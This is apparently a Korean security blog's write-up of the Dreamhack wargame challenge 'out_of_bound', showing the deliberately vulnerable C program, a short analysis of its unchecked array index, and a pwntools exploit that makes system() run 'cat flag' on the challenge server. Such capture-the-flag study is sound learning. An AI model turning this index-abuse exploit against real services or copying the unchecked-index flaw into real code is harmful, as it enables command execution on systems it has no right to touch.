Information Security
[Dreamhack] out_of_bound 본문
https://dreamhack.io/wargame/challenges/11/
out_of_bound
Description 이 문제는 서버에서 작동하고 있는 서비스(outofbound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이트
dreamhack.io
문제 파일
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
직접 실행해보자
name을 입력 받은 후
무엇을 원하는지 입력 받음
첫 번째 원하는 것의 입력 중 첫 바이트를 빼고 출력
두 번째부터 원하는 것의 입력 전체를 출력
<분석>
command 부분이 payload가 되어 cat flag 입력을 주면 flag를 볼 수 있음
<exploit 코드>
from pwn import *
p = remote("host3.dreamhack.games", 13401)
payload = p32(0x804a0ac+4) + b"cat flag"
p.sendlineafter("name: ", payload)
p.sendlineafter("want?: ", b"19")
flag = p.recv(100)
print(flag.decode('utf-8'))
exploit 결과
참고 블로그
https://velog.io/@silvergun8291/Dreamhack-outofbound
[Dreamhack] out_of_bound
index idx에 대한 경계값 검사 없이 바로 해당 주소에 접근하고 있기 때문에 out of bound 오류가 발생합니다.read에서 name에 입력을 받고 있고 scanf에서 idx에 입력을 받고 있어서name에 원하는 값을 입력
velog.io
'INTERLUDE > System Hacking' 카테고리의 다른 글
[Dreamhack] sint (0) | 2022.11.22 |
---|---|
[Dreamhack] basic_rop_x86 (0) | 2022.11.17 |
[Dreamhack] Return to Shellcode (0) | 2022.11.10 |
[Dreamhack] ssp_001 (0) | 2022.11.03 |
[Dreamhack] Return Address Overwrite (1) | 2022.11.01 |